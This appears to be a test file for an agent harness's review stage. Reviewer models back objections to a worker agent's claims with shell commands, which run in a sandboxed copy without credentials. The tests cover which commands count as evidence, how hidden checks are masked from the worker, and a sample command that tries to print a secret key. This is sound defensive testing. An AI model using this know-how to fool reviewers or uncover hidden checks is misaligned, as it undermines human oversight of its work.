assert.match(r.objections![0]!.why!, /^L15-mutates/); + assert.deepEqual(exec.ran, [], "nothing that would change the work is run"); + }); + + it("a timed-out or killed command demonstrates nothing", () => { + assert.equal(judgeObjectionRun({ code: 1, stdout: "", stderr: "", timedOut: true }, undefined).result, "did-not-run"); + assert.equal(judgeObjectionRun({ code: null, stdout: "", stderr: "" }, undefined).result, "did-not-run"); + assert.equal(judgeObjectionRun({ code: 127, stdout: "", stderr: "x: command not found" }, undefined).result, "did-not-run"); + assert.equal(judgeObjectionRun({ code: 1, stdout: "", stderr: "" }, undefined).result, "demonstrated"); + }); + + it("over the command budget, the rest are notes", async () => { + const exec = { ...runner({ "false": { code: 1, stdout: "", stderr: "" }, "! true": { code: 1, stdout: "", stderr: "" } }), maxCommands: 1 }; + const r = await reviewClaim({ task: TASK, receipt: "r", votes: 2, ask: ask([objection("false"), objection("! true")]), executable: exec }); + assert.deepEqual(r!.objections!.map((o) => o.result), ["demonstrated", "not-run"]); + assert.equal(r!.votes, "1/2"); + }); + + it("a failure counts only from a command that reads the work, and an echoed line shows nothing", () => { + assert.equal(judgeObjectionRun({ code: 1, stdout: "", stderr: "", readsWork: false }, undefined, "false").result, "off-the-work"); + assert.equal(judgeObjectionRun({ code: 1, stdout: "", stderr: "", readsWork: true }, undefined, "test -s out.txt").result, "demonstrated"); + const echoed = judgeObjectionRun({ code: 0, stdout: "extra line\n", stderr: "" }, "extra line", 'echo "extra line"'); + assert.equal(echoed.result, "off-the-work"); + assert.match(echoed.why!, /in the command itself/); + }); + + it("knows which commands read the work", () => { + const ws = workspace(); + try { + writeFileSync(`${ws.dir}/out.txt`, "x\n"); + for (const c of ["false", "exit 1", "! true", "grep -q 'my regex'", "test 1 -eq 2", "echo hi | grep -q bye"]) { + assert.equal(readsTheWork(c, ws.dir), false, c); + } + for (const c of ['test "$(wc -l < out.txt)" -eq 365', "test -f missing.txt", "grep -rq TODO .", "npm test", "python3 -m pytest -q", "ls src/", "git log -1"]) { + assert.equal(readsTheWork(c, ws.dir), true, c); + } + } finally { + ws.cleanup(); + } + }); + + it("the receipt tells a wrong reviewer from an objection that could not be checked", async () => { + const exec = runner({ + "test -s out.txt": { code: 0, stdout: "", stderr: "" }, + "test -f out.txt": { code: null, stdout: "", stderr: "", notRun: "could not be run safely: no throwaway copy of the tree (x)" }, + }); + const r = await reviewClaim({ task: TASK, receipt: "r", votes: 2, ask: ask([objection("test -s out.txt"), objection("test -f out.txt")]), executable: exec }); + assert.deepEqual(r!.objections!.map((o) => o.standing), ["refuted", "unchecked"]); + assert.equal(r!.unchecked, 1); + assert.match(objectionLine(r!.objections![0]!), /unsubstantiated \(reviewer wrong\)/); + assert.match(objectionLine(r!.objections![1]!), /not checked \(could not run\)/); + }); + + it("a credential-free environment drops keys, tokens and provider variables, and keeps the rest", () => { + const env = credentialFreeEnv({ PATH: "/bin", HOME: "/h", LANG: "C", OPENROUTER_API_KEY: "k", GH_TOKEN: "t", MAAT_URL: "u", AWS_SECRET_ACCESS_KEY: "s", DATABASE_URL: "d", MY_PASSWORD: "p" }); + assert.deepEqual(env, { PATH: "/bin", HOME: "/h", LANG: "C" }); + }); + + it("with the option off nothing changes: same prompt, prose objections still count, no objections field", async () => { + const systems: string[] = []; + const r = await reviewClaim({ task: TASK, receipt: "r", ask: ask([objection("true"), objection("true"), clean], systems) }); + assert.deepEqual(r, { confirmed: false, votes: "2/3", violations: [{ quote: "exactly 365 lines", evidence: "the receipt shows 366" }] }); + assert.ok(!("objections" in r!)); + assert.ok(systems.length === 3 && systems.every((s) => s === REVIEW_SYSTEM), "the off prompt is the one it always was"); + assert.notEqual(REVIEW_SYSTEM_EXECUTABLE, REVIEW_SYSTEM); + assert.match(REVIEW_SYSTEM_EXECUTABLE, /"command"/); + // Built by dropping REVIEW_SYSTEM's reply-format block; an edit there must + // not leave the executable prompt with two reply formats. + assert.equal(REVIEW_SYSTEM_EXECUTABLE.split("Reply with JSON only").length - 1, 1); + }); +}); + +describe("executable objections in a turn", () => { + const check = { name: "made", kind: "command" as const, run: "test -f out.txt", timeoutMs: 5_000, expectExit: 0, tags: ["task"] }; + const engineFor = (dir: string, turns: ScriptedTurn[], reviewExecutable?: boolean) => { + const provider = scriptedProvider(turns); + const engine = new Engine({ + baseUrl: "http://provider.test/v1", model: "m", cwd: dir, fetchFn: provider.fetchFn, bar: null, + receipts: new Receipts(dir), stream: false, autonomy: "high", review: { votes: 3 }, + ...(reviewExecutable ? { reviewExecutable: true } : {}), + }); + return { engine, provider }; + }; + const indexRows = (dir: string) => + readFileSync(`${stateDir(dir, "receipts")}/index.jsonl`, "utf8").split("\n").filter((l) => l.trim()).map((l) => JSON.parse(l) as Record); + + it("false objections whose commands pass on the work leave the claim verified, recorded as notes", async () => { + const ws = workspace(); + try { + // The work is one line; the reviewers' own command checks for one line and passes. + const v = objection('test "$(wc -l < out.txt)" -eq 1'); + const { engine, provider } = engineFor(ws.dir, [ + { calls: [{ name: "write_file", args: { path: "out.txt", content: "x\n" } }] }, + { text: "Wrote out.txt." }, + { text: v }, { text: v }, { text: v }, + ], true); + const events = await drain(engine.run(TASK, allowAll, { taskChecks: [check] })); + const end = events.find((e) => e.kind === "job_end"); + assert.ok(end && end.kind === "job_end"); + assert.equal(end.outcome, "verified"); + assert.deepEqual([end.review?.confirmed, end.review?.votes], [true, "0/3"]); + assert.deepEqual(end.review?.objections?.map((o) => [o.result, o.exit]), [["passed", 0], ["passed", 0], ["passed", 0]]); + assert.equal(provider.calls, 5, "no nudge: two work steps, three reviews"); + const notes = events.filter((e) => e.kind === "info" && e.text.startsWith("objection not counted")); + assert.equal(notes.length, 3); + const row = indexRows(ws.dir).at(-1)!; + assert.equal((row.objections as { command: string }[])[0]!.command, 'test "$(wc -l < out.txt)" -eq 1', "the receipt row carries each objection and its command"); + } finally { + ws.cleanup(); + } + }); + + it("a demonstrated objection is put to the model, runs on a copy, and leaves the work untouched", async () => { + const ws = workspace(); + try { + const v = objection('test "$(wc -l < out.txt)" -eq 365'); + const { engine, provider } = engineFor(ws.dir, [ + { calls: [{ name: "write_file", args: { path: "out.txt", content: "x\n" } }] }, + { text: "Wrote out.txt." }, + { text: v }, { text: v }, { text: v }, + { text: "Done." }, + { text: v }, { text: v }, { text: v }, + ], true); + const events = await drain(engine.run(TASK, allowAll, { taskChecks: [check] })); + const end = events.find((e) => e.kind === "job_end"); + assert.ok(end && end.kind === "job_end"); + assert.deepEqual([end.outcome, end.tier], ["unverified", "passed-checks"]); + assert.deepEqual([end.review?.confirmed, end.review?.votes], [false, "3/3"]); + assert.ok(provider.bodies[5]!.includes("independent reviewers who read only the task and your receipt found")); + assert.ok(provider.bodies[5]!.includes("shown by"), "the nudge names the command that demonstrated it"); + assert.equal(readFileSync(`${ws.dir}/out.txt`, "utf8"), "x\n"); + } finally { + ws.cleanup(); + } + }); + + for (const [what, setup] of [ + ["a worktree's .git pointer", (dir: string) => writeFileSync(`${dir}/.git`, "gitdir: /nowhere/.git/worktrees/x\n")], + ["MAAT_CHECK_COPY=0", () => (process.env.MAAT_CHECK_COPY = "0")], + ] as const) { + it(`with no throwaway copy (${what}) an objection is never run on the work and does not count`, async () => { + const ws = workspace(); + const was = process.env.MAAT_CHECK_COPY; + const marker = `/tmp/maat-objection-ran-${process.pid}-${Date.now()}`; + try { + setup(ws.dir); + // Would demonstrate (it fails on the work) — if it ran. The marker says whether it did. + const v = objection(`echo ran >> ${marker}; test "$(wc -l < out.txt)" -eq 365`); + const { engine } = engineFor(ws.dir, [ + { calls: [{ name: "write_file", args: { path: "out.txt", content: "x\n" } }] }, + { text: "Wrote out.txt." }, + { text: v }, { text: v }, { text: v }, + ], true); + const events = await drain(engine.run(TASK, allowAll, { taskChecks: [check] })); + assert.equal(existsSync(marker), false, "the objection's command ran"); + const end = events.find((e) => e.kind === "job_end"); + assert.ok(end && end.kind === "job_end"); + assert.equal(end.outcome, "verified"); + assert.deepEqual([end.review?.confirmed, end.review?.votes], [true, "0/3"]); + assert.equal(end.review?.objections?.length, 3); + for (const o of end.review?.objections ?? []) { + assert.equal(o.result, "did-not-run"); + assert.match(o.why ?? "", /could not be run safely: no throwaway copy of the tree/); + } + } finally { + if (was === undefined) delete process.env.MAAT_CHECK_COPY; + else process.env.MAAT_CHECK_COPY = was; + rmSync(marker, { force: true }); + ws.cleanup(); + } + }); + } + + it("an objection command never sees Maat's credentials", async () => { + const ws = workspace(); + const was = process.env.REVIEW_TEST_API_KEY; + process.env.REVIEW_TEST_API_KEY = "s3cret-value"; + try { + // Would print the key (and so "show" it) with Maat's environment. + const v = objection("printenv REVIEW_TEST_API_KEY; test -f out.txt", "s3cret-value"); + const { engine } = engineFor(ws.dir, [ + { calls: [{ name: "write_file", args: { path: "out.txt", content: "x\n" } }] }, + { text: "Wrote out.txt." }, + { text: v }, { text: v }, { text: v }, + ], true); + const events = await drain(engine.run(TASK, allowAll, { taskChecks: [check] })); + const end = events.find((e) => e.kind === "job_end"); + assert.ok(end && end.kind === "job_end"); + assert.equal(end.outcome, "verified"); + for (const o of end.review?.objections ?? []) { + assert.equal(o.result, "passed"); + assert.ok(!(o.output ?? "").includes("s3cret"), o.output); + } + } finally { + if (was === undefined) delete process.env.REVIEW_TEST_API_KEY; + else process.env.REVIEW_TEST_API_KEY = was; + ws.cleanup(); + } + }); + + it("with the option off a turn is unchanged: prose objections veto and nothing is run or recorded", async () => { + const ws = workspace(); + try { + const v = objection("false"); + const { engine } = engineFor(ws.dir, [ + { calls: [{ name: "write_file", args: { path: "out.txt", content: "x\n" } }] }, + { text: "Wrote out.txt." }, + { text: v }, { text: v }, { text: v }, + { text: "Done." }, + { text: v }, { text: v }, { text: v }, + ]); + const events = await drain(engine.run(TASK, allowAll, { taskChecks: [check] })); + const end = events.find((e) => e.kind === "job_end"); + assert.ok(end && end.kind === "job_end"); + assert.deepEqual([end.review?.confirmed, end.review?.votes], [false, "3/3"]); + assert.ok(end.review && !("objections" in end.review)); + assert.ok(!events.some((e) => e.kind === "info" && e.text.startsWith("unsubstantiated"))); + assert.ok(indexRows(ws.dir).every((r) => !("objections" in r))); + } finally { + ws.cleanup(); + } + }); + + it("hidden check commands are masked in the objections put to the worker", async () => { + const ws = workspace(); + try { + const hidden = { ...check, name: "count", run: "test -f out.txt && grep -q x out.txt", hidden: true }; + // The reviewer read the full receipt and quotes the hidden command in its own. + const v = objection("test -f out.txt && grep -q x out.txt && false"); + const { engine, provider } = engineFor(ws.dir, [ + { calls: [{ name: "write_file", args: { path: "out.txt", content: "x\n" } }] }, + { text: "Wrote out.txt." }, + { text: v }, { text: v }, { text: v }, + { text: "Done." }, + { text: v }, { text: v }, { text: v }, + ], true); + await drain(engine.run(TASK, allowAll, { taskChecks: [hidden] })); + assert.ok(provider.bodies[5]!.includes("shown by")); + assert.ok(!provider.bodies[5]!.includes(hidden.run), "the nudge does not quote the hidden command"); + } finally { + ws.cleanup(); + } + }); +});